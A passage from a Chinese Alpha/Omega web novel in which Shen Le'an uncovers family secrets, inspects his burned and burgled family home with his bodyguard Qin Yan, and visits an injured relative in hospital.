沈乐安默了默,问道:“您是怎么知道‘那件东西’的事情的?” 沈烨当初和他提的事情,明显是不确定这玩意的存在,像是猜测,但沈老夫人却似乎非常的肯定。 沈老夫人神色多了一点复杂,“我无意听到了你妈妈和你舅舅的电话,这才偶然知道的。” 这个‘无意’太过于遮掩。 但既然愿意说,那也意味着想要开口告知。 沈乐安反问:“妈妈生病之后不久,您对妈妈态度前后变化很大,能告诉我原因吗?” 沈老夫人惊讶于他的问题,也有点意外当时只不过是一个小孩的他竟然如此敏感。 但真相太过于残酷,沈老夫人一时之间不知道该如何回答。 沈乐安道:“您既然决定和我说姜家的事情,就已经做好准备让我知道所有的真相了不是吗,何必事到临头还对我隐瞒呢?” 沈老夫人安静了数秒才道:“这件事情是因为我当时看到了报告才知道的,后来东西给了你爸爸,你爸爸让我不要和任何人说。” “我有权利知道,当然,我也不会乱传妈妈的隐私。”沈乐安道,“所以到底发生了什么?” 沈老夫人这才慢腾腾地说了一句:“医院证明显示,你妈妈当时怀有身孕,孕妇很多药物是不能乱碰的,这个是造成她死亡的重要原因。” 她没有明说,但这些话已经非常明显,沈乐安明白了她话里的暗示,表情有点微妙地问:“您认为她出轨,所以才对她不喜?” 沈老夫人没有回复,只是以无声的沉默表示回答。 这种当着孙子的面指责他一向敬重的死去的母亲的话语,对于沈老夫人而言,也是十分的难以启齿,但有些东西她也不愿意沈乐安一直被瞒在鼓里,毕竟他也已经深陷其中。 孰是孰非,该由乐安自己判断。 如果沈乐安确实是个渴望家庭温暖父母和谐的小孩,估计现在会有点伤心失落,但作为一个从小就是老小孩的假小孩来说,他并没有因为这个而出现很大的反应。 他甚至非常认真地回忆自己记忆中的姜叶,然后又问了一句,“报告显示几个月大?” “……一个月左右。” 沈乐安道:“您如此生气,是有怀疑的出轨对象吗?” 沈老夫人看着他,一下子有点不知道怎么说。 她完全没有预料到孙子会是这种反应,随后表情有点难以启齿似的说了一句:“你妈妈和杨元然是青梅竹马。” 沈乐安及时发觉自己不正常的反应,顺势反驳,“爸爸提过杨叔叔的事情,我妈妈不是这种人。” 沈老夫人这才松了口气,这才对嘛,这才是正常小孩的第一反应。 她觉得和乐安继续这个话题太过于奇怪,及时转过弯,回到原本的想法,劝说道:“奶奶和你说这些,是想告诉你,这件事情非常的危险。” 沈乐安还在思索姜叶的事情,暗自记下此事,又回道:“咱们家现在的事情,您真的认为和当初外祖父的事情毫无相关吗?对方如此紧追不舍,如果我们不先他一步,一定会重蹈覆辙。” 其实小舅舅当初的做法也是希望如此,但很不幸,反叛军那时候还是全盛状态,势力充足,又因为姜家那时毫无根基,最后却是潦草不幸收场。 沈乐安绝不会走上那条老路。 老人静静看着他,没有说什么。 沈乐安顿了一下,又道:“您不劝劝我?” 沈老夫人面容慈祥,很浅的笑了下,“奶奶相信你。” 再小的孩子也会长大,永远活在羽翼中的人难以长久的生活在这个人心险恶的社会中。 所以当初儿子希望孙子找个合适的伴侣,祖业可以由这位Alpha伴侣发展,因为Alpha不会有Omega那么大的社会压力,他甚至提出未来如果家里的长辈都不在,乐安还有一个伴侣可以依靠的观点时,沈老夫人其实是第一个反对的。 靠人不如靠己。 活成现在的沈芸,沈老夫人只会觉得孙子非常可悲,而且她从来都不觉得她家孙子比谁家的Alpha差过,哪怕是那个吹出花的秦家少爷。 沈乐安还不知道自己奶奶拿他和秦砚狠狠比较了一回,还偏心眼地觉得他世上无敌。 实际上沈乐安被沈老夫人安排暂时看孩子任务后没两分钟就快要缴械投降了。 沈老夫人把该说的话都转达清楚给孙子之后,就将沈茉莉安排给孙子和跟班秦砚,然后就去找那半死不活的沈芸了,而沈茉莉一醒来,看到陌生的病房和房间内两个一点都不眼熟的陌生男性,果不其然,哇的一声哭了出来。 沈乐安实验搞砸千遍都没有这么烦过,眼下被一个有理说不清的小孩闹得一个头两个大。 “你别哭了。” “妈妈——” “安静一点,我给你买糖行不行?” “妈妈、妈妈呜呜呜……” 沈乐安温声细语地哄,沈茉莉哭,严肃教训地命令,沈茉莉更大声地哭,人都要哭厥过去似的。 沈乐安生怕有路过的护士听见,以为他虐待小孩,忙后退一步,转头看向秦砚。 他还记得严灵灵之前提过,秦砚之前一直是孩子王,从小到大大家都听他的话,去部队之后更是如此,同龄人都非常敬佩他,严灵灵也非常听这位表哥的话。 思及此,沈乐安扯了扯秦砚的衣服,向他求助:“你来哄。” 沈乐安难得主动亲近,甚至是这样恳求的语气,秦砚应了一声:“好。” 听到秦砚这胸有成竹的回答,沈乐安放下了心。 然后他就看到了神色冷峻的Alpha走到了病床边,将小姑娘摔下的枕头捡回原位,抬手压住小孩胡搅蛮缠乱动的身体,另一只手从口袋里面取了一颗糖放在小姑娘的手里,然后以一种还算平和的语气道:“听话,睡觉。” 但Alpha冷峻的外表太过于威严外露,语气哪怕是沈乐安口中的温和对于小孩而言,也是带着命令口吻的冷酷叔叔形象。 尤其是这位坏叔叔力气格外的大,轻易就控制住了自己的行动,还有妈妈说的拐卖小孩的坏蛋会送小孩糖果。 沈茉莉哭声一滞,整个人都呆滞了一般。 沈乐安松了口气,实打实地佩服秦砚管人的手段,只不过气还没由落下,小女孩尖锐的声音便刺破云霄:“哇——” 鼻涕虫也惊得往外飞,不慎砸在了富有洁癖的Alpha的手臂。 秦砚倏然一僵,下意识松开了手。 嚎啕大哭的调子彻底引来了外面的围观,沈乐安那口气不上不下,狠狠瞪了一眼成事不足败事有余的秦砚。 那名匆匆赶来的护士一进房,沈茉莉也终于安静了下来。 护士看着这毫无用处甚至有点避之不及的两人,忍不住道:“你们这父母怎么当的?” 秦上将第一次被一个毫不相识的小护士这样劈头盖脸的骂,对方一点面子也不给,数落他做爸爸不负责任一点也没有担当,小孩哭不哄还躲,算什么爸爸。 秦砚想到刚刚条件反射地收回手又吓得小孩哇哇大哭时,沈乐安看向自己嫌弃的表情,抿了抿唇,回道:“抱歉,下不为例。” 护士被他一脸威严镇住,指责的话也没有再多说,只是心中暗暗嘀咕这不负责的一对,甚至对沈乐安也没有给什么好脸色。 莫名其妙被牵连的沈乐安有点无语地看了秦砚一眼,不懂他接什么话。 人家骂的是沈茉莉的父母,关他什么事。 脑子有坑。 —— 沈老夫人回来病房时,护士也知道了自己误会了这两人,她觉得不好意思,但也没敢主动和秦砚说什么道歉的话,只是颇为意外刚刚这人怎么没有否认,反而任由她误解被骂。 但她也看得出来这两个高颜值的帅哥是一对,毕竟他们两个站在一块的时候就非常的登对,还会旁若无人的秀恩爱。 护士心里的想法当然没有人知道,她离开的时候还惦记着和同事说说自己今天见到的这对高颜值AO情侣。 如果沈乐安知道了,大概会觉得非常的冤枉。 他只不过是和秦砚一起收拾刚刚撒泼的沈茉莉乱丢的东西,以及忍不住嘀咕了两句秦砚出师不利的行动罢了。 沈乐安确实没想到秦砚会把事情搞得这么砸,尤其是他当时应下来的时候,分明是有条不紊,事事妥当的模样,哪成想搞了这一出?简直跌破了沈乐安的眼镜。 “刚刚应得那么快,我还以为你把握十足,”沈乐安忍不住落井下石道,“你还不如我呢。” 好吧,沈乐安确实有点幸灾乐祸的意思,因为他也是第一次见秦砚有点落荒而逃的退缩,就因为一个五岁大毫无杀伤力的小姑娘。 像是撕破了秦上将无所不能的虚伪表皮,终于露出了一点破绽。 沈乐安打量了他一眼,啧啧出声。 秦砚认认真真将手臂擦干净,他有洁癖,某种程度上来说,有点严重,在军队中会因为纪律等等原因压制下去,但生活中难以克制。 纸团被丢掉垃圾桶里,秦砚没有否认他的话,“是比不过你。” 他这般坦然,沈乐安反而不好说什么了,冷哼一声,撇开眼。 沈老夫人瞥了他们两人一眼,略微有点嫌弃孙子敷衍她的什么雇主保镖的说法,就这还雇佣关系呢? 靠的那么近,脸上开了花似的。 于是他们两个不过闲聊了两句话的功夫就被沈老夫人赶了出去,原因无他,他们两个在这里太过于无用,反而还会吓到小茉莉。 沈乐安只好和秦砚先离开。 杨元然那边暂时是不能去了,虽然已经出了ICU,但目前的情况来看,他尚且没有清醒,沈乐安也不好提出进去看他的请求,只能先回老宅看看。 消防队的及时到来,让沈家老宅的火得到了控制,灭火的行动开展的非常迅速,东西也保留下来了大部分,但火灾起源地附近的那几间房子,基本上烧的干净,只剩下一些黑漆漆的架子。 老宅的院子外面警察也在,抓了几个当时趁乱想要闹事的混子。 外来的车子暂时不允许进出,但好在秦砚的车牌似乎来头不小,他们还算畅通无阻地进来了。 军方也有人员在场,秦砚一下车,就有人过来打了声招呼。 “队长。”周鸣喊了一声,瞥见副驾驶位置下来的沈乐安,扬了扬眉。 秦砚陈明自己的身份:“我现在是他的保镖。” 不在军中便罢了,他还暂时被调职,所以这一声称谓,秦砚并没有应。 周鸣早就知道药剂研发出来的事情,队长的病有了解决,却没有急着治疗,而是被调走,进行别的任务去了。 这任务谁也不清楚,周鸣和其他兄弟都以为队长是不是又被安排去了什么秘密任务,没想到竟然被差遣给人当小保镖。 如果是什么大人物就罢了,但眼前的人职位似乎只是一个普通的校医,如果再多一层身份,就是沈家的金孙,虽然听说药剂的事情与他有关,但哪怕是如此,周鸣还是认为队长是被人穿了小鞋。 联邦一军的队长,这层镀了金的身份可不是谁都能有能够够得上的。 周鸣认真打量了沈乐安一眼,“沈医生,你家房子闹出了事故,影响不小,这里暂时上了封条,进出都得打报告的。” 这是给他下马威? 沈乐安扬了扬眉,侧眸看了一眼秦砚。 “我会帮他一起补交申请,”秦砚道,“不是还要让屋主核对原物?让人过来,不要浪费时间。” 周鸣被自家人一噎,顿时也不好再开口为难,只能先放沈乐安走。 沈乐安招呼也懒得再打,转头离开。 周鸣暗暗瞪了沈乐安一眼,他还有印象这人上次在李怀玉那里直来直往结果莫名其妙弄到了那盒基因进化药剂的事情呢。 这小校医胆子还不小,直接顺走了一板药,这事还是他队长担的责任,而且当时来回接送都是队长给他充当的司机,现在队长又莫名其妙变成了他的保镖。 周鸣真心为队长憋屈,想想他队长这么傲气的人,哪里被人这么差使过? 沈乐安一走,周鸣便与秦砚道:“秦队,哪个不长眼的给你穿小鞋了,安排这破任务给你?” 秦砚瞥了他一眼,道:“齐爷爷安排的。” “这帮老不死,咳咳咳,”周鸣差点被呛到,话到一半全给吞了下去,秦砚说的齐爷爷除了顶上那位还有谁,周鸣见了人也得被按头老老实实喊齐爷爷的。 他轻咳了一声,讪讪道,“齐爷爷不会被谁忽悠了吧?” 搞了半天竟然是齐老,他还以为是政敌呢,军中虽然没有明显的政治,但秦砚被齐老一手栽培起来,自然也归属于齐老一派,元首这位置当然也不是一直能够久待,今年元首的位置要换届,自然要重新竞选,齐老的那位强劲的竞争对手自然对秦砚这位齐老的得力干将不怎么喜欢。 “任务没有高低,安排了都要认真做。”秦砚道,“周鸣,眼高手低不是什么好事。” 周鸣小声道:“秦队,我这不是给你打抱不平嘛。” “我没有不平,”秦砚看了他一眼,“下次再因私废公,我也会‘打报告’。” 周鸣忙不迭老实认错,他忘了秦队最讨厌这种行为,什么报告申请,纯粹忽悠沈乐安的。 谁知道这小校医完全没有掉坑,反而贼贼地将事情推给了秦队处理,真是搬石头砸自己脚上去了,周鸣心中暗暗叫苦不迭。 沈乐安并不知道自己脑袋上多了一个有点小聪明的评价,但哪怕知道了,他现在确实也高兴不起来。 火源已经基本扑灭,但还是有点安全隐患,消防队清出来一条还算安全的道,这才让沈乐安能够上去楼上,清查财产损失。 主卧也就是原来姜叶和沈烨的婚房,里面已经是空空的一片,原来屋内还有木质的桌椅,都被烧了个干净,连墙面都是漆黑的一片,甚至还留着被人恶意砸开过的痕迹,地上掉了很多碎石头。 里面基本上没有什么东西留着,只有黑漆漆的烟灰和四周的墙壁,颇有种家徒四壁的萧瑟。 主卧旁边的几间房间也是一样的情况,里面的东西基本上被人掏空了一般。 与沈乐安一起进来的还有一名消防员和一位警察,随同的还有一个军队的人员,当然,看管老宅的张保安也在。 消防员指着屋里的痕迹道:“现场我们没有在灭火之后没有怎么动过,基本保持了原样。” 沈乐安扫了一圈,当然也看到了外面被抓了的几个混子,问道:“张哥,能麻烦您复述一下我家的起火经过吗?” 张保安看见雇主这屋子成了这样,既羞愧又惶恐,忙不迭道:“这事都怪我,是我没有拦住人,对不起啊,乐安少爷。” 沈乐安摇头:“您做的很好了,我不会追究您的任何责任,这点您放心,当时发生的事情您能和我说说吗?” 张保安这才松了口气,回忆了下,再一次复述:“外面被抓的那几个人是大清晨的时候我起床才发现的,他们当时手上拿了不少值钱的东西,撬开了大门的锁,手里还拿着锤子和刀,凶神恶煞的,一看就是惯犯的偷……” 简单来说,其实就是一个娴熟的作案团伙进来偷东西,结果被发现,最后走投无路,直接放火烧想逃跑却没有成功的故事。 沈乐安揪着他话里的细节,问了一句:“张哥,您叫人来的时候,他们还在搜东西?” 张保安点头道:“这些人贪心的很,胆子也非常大,连墙壁都没有放过,非说藏着什么黄金。” “他们进来的时候完全没有警报响吗?”沈乐安道,“我记得家里安了装置,除非有认证的卡片,不然哪怕是撬锁,也会有异动。” 张保安愣了一下,“这个真的没有响。”不然他也不至于让那些人捞了那么多东西走。 沈乐安解答了疑惑,转头问那位警察:“警官,那些人都抓到了吗?” 警察摇头,“没有,他们跑的很快,这附近的监控被人提前敲坏了,来了将近十个,我们只逮到四个人。” 听到刚刚他们的对话,警察问了一句,“沈先生,你们这个装置有记录可查吗?” 张保安忙不迭应声,拿出手机进去页面,当然,高级的权限需要房子主人的密码和指纹,沈乐安帮忙操作了一番。 只不过显示出来的那个记录令人意外。 是沈华章。 警察也有点诧异,不过这人他还是知道的,“他还在我们局子里面关着,应该是被人偷了东西。” 沈乐安看了眼记录上沈华章三个字,转头问了一句:“警官,他的调查进度如何了,大概什么时候可以放出来?” 警察摇摇头,“这个我不清楚,但上面的意思是暂时还不能放人。” 沈乐安嗯了一声,倒也不见失落,还是不出来好一点,不然现在估计又得被当成嫌疑人抓进去。 警察道:“沈先生,还需要你配合我们做一下笔录。” 沈乐安点点头,跟着他们出去,然后又联系了一下装修公司,估计还得给家里重新装修一番,毕竟这火灾一搞,先不论损失,但住是不能住了。 配合做完笔录,又折腾完七七八八琐碎的事情,沈乐安本就熬了一天的夜,也没睡几个小时,现在更是心神俱疲。 好在秦砚这个保镖还能派上一点其他的用场,事情可以暂时分担给他,沈乐安勉强少了一点任务。 给奶奶转述完家里的事情,沈乐安还得知了一个消息,医院内的杨元然又迷迷糊糊的醒了一次,但他声带有所受损了,伤太重,人也动不了,和植物人差不了多少,医生检查结果并不乐观,说他可能会记忆受损的情况。 照顾病人也需要人,沈芸作为杨元然的妻子,沈老爷子和看守的人协商了一下,得到了进去的资格。 沈乐安挂完电话等了一会,才见到秦砚上车。 “东西拿回来了吗?” 秦砚嗯了一声,将手里的盒子交到他的手上。 跑走的人顺走了不少东西,抓到的这几个手里也只有一些首饰,作为赃物,哪怕失主在此,也需要过一下警方的路线,做做记录,但沈乐安并不愿意将东西放在这里过夜,也不是很希望被人经手。 他对这些人的信任度很低,从知道军方有人联系反叛军开始。 沈乐安道了声谢,打开盒子检查了一下,认真地翻了翻。 盒子里面是几条项链,上面还有叶子的图案,姜叶喜欢设计,珠宝的设计她也实操过,所以自己戴的珠宝大部分都是她自己设计出来的图案做的。 Omega眉眼间有淡淡的低落,秦砚看着他微垂的睫羽,道:“应该有机会追回来。” 沈乐安轻声叹道:“希望吧。” 这些人如此紧追不舍,看来是真的很重要的东西,而且就现在的情况来看,他们绝对是没有找到。 这样机密的东西真的存在吗? 搜寻无果了这么久,连对方也无能为力,沈乐安也不免有点产生怀疑,何况姜叶从来没有和他提及过此事。 沈乐安有点烦,下意识摸了摸口袋,却扑了个空。 忘了。 那些糖果有不良药剂,他全部丢了。 沈乐安撇撇嘴,气还没烦躁地叹出口,手里就多了两颗糖。 葡萄和草莓口味的水果软糖。 驾驶座上的秦砚给的。 沈乐安拆了,送到嘴里,转头问他:“你怎么最近多了爱吃糖的习惯?” “不是爱吃糖。” “那你怎么随身带那么多?”沈乐安明显注意到了他微鼓的外套口袋。 “送人。” 沈乐安想起来他之前在医院给那个路过的小孩送了糖,今天在病房内也给沈茉莉送了糖,若有所思地点点头,“没看出来你还喜欢给小孩送东西啊。” 秦砚没承认也没否认,只是问他:“你觉得好吃吗?” 沈乐安嚼了两口,评价道:“还不错,和悦动那款差不多。” “你喜欢?” 沈乐安吃了甜的,心情好了许多,点点头,“链接记得发我,谢谢。” 少年眼尾荡漾出淡淡的愉悦,不复方才没精打采的模样,如似一株新开的向日葵,一点点养分就足以恢复朝气蓬勃。 秦砚应下,说道:“那就好。” 这新款的替代糖让他非常满意,沈乐安还算高兴地笑了笑。 秦砚目光落在他微微扬起的唇角,定定看了几秒,随后敛回视线,扫了眼悬挂在半空的金黄吊坠,唇角微微翘起。 倒是比小孩好哄一些。 第66章 第 72+73 章 沈氏集团发生恶性冲突又有严重车祸事故的事情还是在网上引发了不少的热议。 哪怕有刻意的压下消息, 但网友和记者的好奇心显然不可能让这种大消息沉底,沈氏的股票也因此一跌再跌,原先营销出来的一点正向的评价又一次沉底。 沈烨愁白了头, 但让他更加愧疚的还是正在医院里面的杨元然。 杨元然这次发生意外, 某种程度上来说也和公司有关,算得上是工伤,他又是沈烨多年的好友,加上又一次的烧伤, 让沈烨不免又记起来当初他拼死将他和儿子乐安救出火灾时的过往。 所以一听说杨元然清醒过来可以见人,沈烨直接从公司赶过来了医院。 沈乐安到的时候, 沈烨正在和医生沟通病情。 沈芸刚从病房内退了出来,伸手默默抹了抹眼角的眼泪。 沈乐安看向她,喊了一声。 “姑姑。” “嗯。” 沈芸声音很低地应了一声,声音细弱蚊蝇, 仿佛失去了生气, 然后低着脑袋拿着热水壶离开。 沈乐安与她关系不算深, 但还是颇有点担心地看了这位不远不近的姑姑一眼。 沈烨只是和他打了个眼神示意,看到他身后的秦砚, 也没有什么惊讶的意思, 很平静地转回眼神, 和医生交流。 沈乐安听了一耳朵。 杨元然这次确实是九死一生,稍微一个不慎,当时的情况再严重一点, 可能就抢救不回来了, 而且他皮肤烧伤十分严重, 腿部骨折严重,记忆受损, 反应也慢了半拍,脑神经还需要慢慢恢复,但好在暂时脱离了危险。 如果他真的是拿命去赌的信任,沈乐安是真的觉得他心性坚韧过人,又非常的心机歹毒了。 沈乐安看了眼玻璃窗里面的绷带缠了一身的人,视线一转,便看到了坐在病床旁边略微熟悉的面孔。 回忆起来当时去姜家时,老人与他的对话。 杨管家说他就只有一个儿子,对方偶尔会来看他,所以他并不觉得在姜家一个住着有多孤单。 沈乐安知道杨元然是杨管家的儿子还是后来秦砚将杨元然的资料给他的时候他才了解的。 倒也解释了为什么杨元然会和他妈妈是青梅竹马,还可能存在一段不明纠葛的感情关系,毕竟从小到大都是一块长大,还近水楼阁,就是不知道他爸是怎么天降成功的。 杨管家颤颤巍巍的从病房里面出来的时候,眼眶也红了一圈,头发花白的老人精气神被抽去了似的,和上一次在姜家老宅时容光焕发的样子大不相同。 看到沈乐安,他还是勉强稳住了情绪,“乐安少爷。” 沈乐安扶着他,带他到一旁坐下。 “医生说了,杨叔叔已经脱离危险了,后面好好休养就能恢复过来,您不用担心。” 杨管家勉强挤出抹笑:“那就好,那就好。” 他扶着把手,又道:“乐安少爷,元然这烧伤坏了皮肤,还有没有机会再治疗啊?” “您叫我乐安就好,”沈乐安道,“联邦这方面的技术非常先进,国内就能直接治疗,联邦医院又是国内最好的医院,这都是小问题。” 杨管家喃喃道:“能治就好。” 沈乐安也有点沉默,不知道可以安慰些什么,不论杨元然是否无辜,但对方确实救过他,这次也是在沈氏出的事情,算起来还是他家对不住眼前的老人。 人情债最难还,也最容易让人心软,尤其是杨管家在姜家老宅看了这么多年,也不愿意离开。 看着寡言的老人,沈乐安眸中多了一点复杂的情绪。 身后的秦砚瞥了他一眼,目光在他放在膝上微微蜷缩的手上停留片刻,又不动声色地挪开。 沉浸在思绪中的沈乐安感觉到肩上被人轻轻捏了捏,回过神,下意识仰头看去。 目光所及是Alpha锋利的下颌线,线条利落而流畅,带着力量感的紧绷。 沈乐安坐着,秦砚则是站在他的身后,宽肩窄腰,身形高大,像是一堵坚实的墙壁。 对方也没有说什么,只是杵在原地,面色平静,疏离和冷淡感十足,不像是会做出那种疑似捉弄的小动作的人,刚刚的感知仿佛是沈乐安的错觉一般。 沈乐安盯着他看了两秒,没有得到回复。 Alpha抬了抬手,沈乐安便收获了一颗糖。 沈乐安转回了脑袋,将糖果随手放进自己的口袋,也没有吃。 也不知道秦砚怎么看出来他想吃糖了,但他毕竟也不是专门找秦砚讨要糖果的小孩。 秦砚敛回视线,看了一眼躲在沈芸身后眼睛却忍不住飘过来盯着他送出去糖果的小女孩。 被那位很凶的哥哥抓包,沈茉莉害怕地低下脑袋,瑟缩了一下,又往妈妈的身旁贴了半步。 她还记得上次这个凶凶的哥哥送的糖果非常好吃,但她不敢向他再要。 沈芸将女儿牵的很紧。 杨管家和沈芸其实没有见过几面,只有最初沈茉莉刚出生没多久的时候,杨元然带沈芸和小茉莉回过家。 小孩长大的很快,模样也是千变万化。 但杨管家还是第一眼就认出了沈茉莉,因为小姑娘的相貌和儿子有几分相似,还有眼前沈芸的几分影子。 杨管家看着可以称得上陌生的儿媳,只说了一句:“麻烦你照顾元然了。” 沈芸垂着眼皮,摇了摇头。 杨管家摸了摸沈茉莉的脑袋,冲她笑了笑,因为儿子意外产生的凝重散了许多。 沈芸看着老人眼角的褶皱,手上的力气松了一些,放开女儿的手,低声道:“茉莉,喊爷爷。” 沈茉莉不认识杨管家,但还是听妈妈的话,怯怯地叫了一声爷爷。 杨管家眼圈微红,嗯了一声,却一时没有找到什么合适的东西给她。 沈乐安把口袋里的糖果掏了出来,顺势塞到了沈茉莉的手上。 沈茉莉下意识看向妈妈,沈芸没有说话,小姑娘这才大着胆子,小心翼翼地把糖果放进了自己的口袋里。 和谐一家人的场面明显没有任何出现的苗头。 沈芸沉默地站在一旁,看着玻璃对面的躺在病床上的男人,记起来今天他起来时与她的对话,平白无故地生出来一股极其陌生的感觉。 失去一段记忆的杨元然,眼神都似乎发生了巨大的改变,言行举止都和那天临走前与她吵架的那个人大相径庭。 沈芸头一次对自己的丈夫感到尤其的陌生,如同一个相识不久的陌生人一样。 “妈妈。” 沈芸如梦初醒,转头看向女儿。 沈茉莉手里捧着一颗水果糖,送到她的手中,说道:“哥哥给的糖。” 沈芸怔了一下,侧眸看向自己之前一直有点看不上的那位外甥。 沈乐安指了指那颗从秦砚那里顺来的糖果:“姑姑,吃点甜的心情好。” 沈芸指腹微蜷,摸了摸那薄薄的一层外包装,而后轻轻的剥开,动作很慢地往嘴里放,唇瓣微微抿住,连含糖的动作都格外的淑女。 “谢谢。”她低着眼睛道。 沈乐安见她似乎没有了那种完全死气沉沉的感知,略微松了口气,毕竟是他姑姑,他还是希望对方可以坚强一点,不要有什么轻生的念头。 他看了眼吃着糖砸吧砸吧嘴的沈茉莉,又摸了摸自己干瘪的口袋,心头微动,抬头看了眼秦砚。 秦砚瞥了他一眼,取了两颗糖放在他手心。 沈乐安眉间微舒,露出一抹笑意。 沈芸看着他们旁若无人一来一往的亲昵,也有点说不出来的羡慕。 秦家有背景,是别人求而不得的靠山,沈乐安却如此幸运的得到了这些,尤其是秦家这位传闻中不近人情的长孙在沈乐安面前完全没有那般作态,反而放低了姿态,十分的迁就。 沈芸品味着唇齿间的甜腻,心底油然而生了一丝希望,便忍不住问道:“乐安,华章的事情是不是可以很快解决了?” 她说话的时候目光很轻地扫了秦砚一眼,求助的意味非常明显。 沈乐安毫不留情地打破她的幻想,“表哥的事情我们家还没有办法,姑姑,你也清楚家里的情况。” “乐安,如果秦……” 沈乐安打断她的话语,没给她开口的机会,“表哥现在在里面也挺好的,老宅被人抢劫放火,用的还是表哥的卡,如果他真放出来了,估计马上又会因为另外的嫌疑抓进去。” 沈芸错愕地看着他,明显对此毫不知情,“你说的是真的?” 沈乐安点头,“查了记录,是表哥的那张。” 沈芸顿时安静了下来,不安地抓了抓膝盖上的布料,“你表哥不是那种人,乐安,你一定不要误会,肯定是他什么时候不小心弄丢了,华章有时候就是容易粗心大意。” “我知道,”沈乐安道,“所以我觉得表哥在里面也挺好的,至少安全。” 沈芸顺着他的视线,察觉到他看了一眼病房的方向,心中微沉,出口的话都艰涩了几分,“元然他也是……” 沈乐安叹了口气,神色沉重,“我猜测是这样的,姑姑您最近在照顾杨叔,如果有什么不对劲的地方一定和我说,华章也是被人绕进了弯子里面,现在还有人想给他泼脏水,我怕对方也会给杨叔下套,至于这个车祸,还在查,但不好说完全没有关系。” 沈芸很轻地抿了下唇,目光在少年满是担忧的面孔上定了数秒,指尖微微蜷缩了一下,又垂下了视线,“好,我知道了。” 沈乐安不着痕迹地看了她一眼,没有再与她多聊,见沈烨送完杨管家回来,也顺势起来,打算离开。 秦砚走之前又从口袋里面取了两颗糖,没有说什么,径直放在了沈茉莉的口袋里。 小姑娘对他还有点害怕,也不知道是不是因为那几颗糖果生出来的勇气,倒是怯生生地小声说了一句谢谢。 沈乐安瞥见了秦砚送糖的行为,走到电梯口,才与他说了一句:“小孩子不能多吃糖,牙齿会坏掉。” 秦砚扫了眼他漂亮的齿牙,道:“下次注意。” 见他反省,沈乐安满意地嗯了一声,毕竟沈茉莉也是他妹妹呢,可不能被几颗糖拐骗了。 秦砚道:“你还是怀疑杨元然?” 沈乐安没有否认,“我直觉告诉我有点不对,我姑姑现在又一直照顾他,本来就是枕边人,如果有反常,她绝对是第一个发现的。” 秦砚看出来沈芸的隐瞒,也看得出沈芸懦弱的性格,道:“她不一定愿意告诉你,如果直接审问,效率会更高。” “直接抓起来太容易打草惊蛇,”沈乐安道,“所以我给了一点暗示,以沈华章做对比,杨元然真做假做,但做了,沈芸肯定会先入为主地把他归类为被人骗了那一边,再说了,沈华章还没放出来了,在我姑姑的心里,沈华章和沈茉莉,要比杨元然要重要的多。” “她很爱杨元然。”秦砚看得出来,一个人的眼神难以掩饰。 “她之前也非常爱她的前夫,”沈乐安评价道,“爱情这种东西脆的很,经不起推敲。” 秦砚顿了一下,看到他十分无所谓的表情,垂了垂眼皮,道:“你也这么认为?” 沈乐安想也没想,侃侃而谈道:“那不然呢?时间会抹平一切,你看别的情侣不是谈的时候天长地久?后面分了肯定断的干净,说不定转头就找下家了。” 秦砚沉默了下来。 电梯同时间合上,隔绝了外面的喧嚣,稀薄的空气流通的缓慢,气氛也由闹转静。 沈乐安按了按楼层的数字,也没有了闲聊的想法,转而想起之前头疼的正事来。 那样毫无头绪的机密文件他还没有任何方向呢,说完全心大不焦虑那一定是假的,毕竟和那种人谈判,他没有成果,哪怕是他舌灿如莲,估计连门都进不了。 沈乐安思索片刻,转头道:“秦砚,如果你有一样重要的东西,需要保管,你觉得怎么样安置会比较靠谱?” 秦砚目光落在他乌亮柔顺的眸子上,语调微沉,道:“我对我的伴侣会有基本的信任。” 沈乐安啊了一声,有点意外地看向他。 “沈乐安。” “嗯?” “不是爱情经不起推敲,”秦砚道,“而是一段关系里面总有人选择逃避,才让感情最终走向破裂。” Alpha蓝眸深邃如海,细密的海水包裹着少年的身体,如似一张大网,语调沉沉,磁性的声音在密闭的电梯里面回荡不绝,灼烧着少年的耳廓。 沈乐安莫名觉得脸烫,下意识往后退了一步。 — 秦砚没有再说什么。 沈乐安退远了一步,狭窄的电梯空间里面,两人之间的距离却隔到了最远。 电梯门一开,沈乐安先一步走了出去。 药剂研发的事情需要他定时来处理,沈乐安一到,便直接去了前不久刚送来的那名同学的病房。 秦砚没有跟进去,而是留在了外面。 徐应尧将手头的东西暂且给了那名护士,走到秦砚身边,八卦道:“你们又吵架了?” “工作时间你要和我聊私事?” “你家那位过来,我当然可以休息一下。” 秦砚眼神淡淡地瞥了他一眼。 徐应尧从口袋里面取了根形似香烟的长条,叼进嘴里,假模假样的吸了一口,“这里还全面禁烟,真是憋死我了。” 那长条是糖,估计就是小学生流行的香烟糖。 秦砚一眼认出,嗤笑一声,“幼稚。” 徐应尧目光点了点他微微鼓起的口袋,“半斤八两。” 秦砚不言,闻声视线微转,开门出来的却不是沈乐安,而是另外一个助手。 “我师弟可不是几颗糖就能骗到的,”徐应尧道,“就你这功夫,还没哄好,人家就跟你掰了。” 提到这,徐应尧忍不住道:“你还是别像秦叔那样比较好。” 徐应尧口中的秦叔当然就是秦砚的爸爸,秦译。 换做之前,秦砚确实是没有觉得他爸妈之间有什么矛盾可能存在的,他爸妈在圈内算得上令人艳羡的天作之合,不论是家庭背景还是感情关系,旁人都不能说出一点不好。 也是这一次爸妈忽然爆发的矛盾,才让秦砚知道,他妈心中是有诸多怨言的,对于他爸的大多数行为表现。 他们刚吵完架还没有和好,上面就有任务派遣,秦译没有办法,只能先离开家,矛盾还未解决,也没有留下只言片语,就僵持到了现在。 父母间的关系作为小辈,秦砚并不好干涉,但他却确实因为这件事头疼不已。 一墙之隔的沈乐安倒是舒心了不少。 林一鸣进来的早,治疗得当,现在基本上快要痊愈了,不过还要留下来观察是否有不良反应,至于另外一个学生,病情也基本上得到了控制。 算是最近以来的好消息。 沈乐安翻了翻上面的取药记录,问了一句:“徐医生没有拿过新款抑制剂?” 医助:“没有的,如果有,上面都会统一记录。” “最近有新的病患进来吗?” “前一周刚送进来三个,信息都在给您的病例记录上。” 沈乐安重头仔细翻了一遍,确认道:“只有这些?” 医助点头,有点疑惑地道:“是哪里有问题吗?” 沈乐安合上了本子,摇摇头,“没事。” 他还以为秦砚已经开始治疗了,竟然没有吗? 医助放下了心,只要不是出问题就好,他拿着东西,又继续和沈乐安报告最近的观察记录。 沈乐安走了几间房,又交代了一点事情给他,然后才算结束了自己的工作。 出去的时候便见到秦砚在和徐应尧说话,只不过他们两个十分默契地在见到他时便终止了话题,沈乐安并没有听到他们在说些什么。 徐应尧打趣道:“师弟,视察工作如何,没有问题吧?” 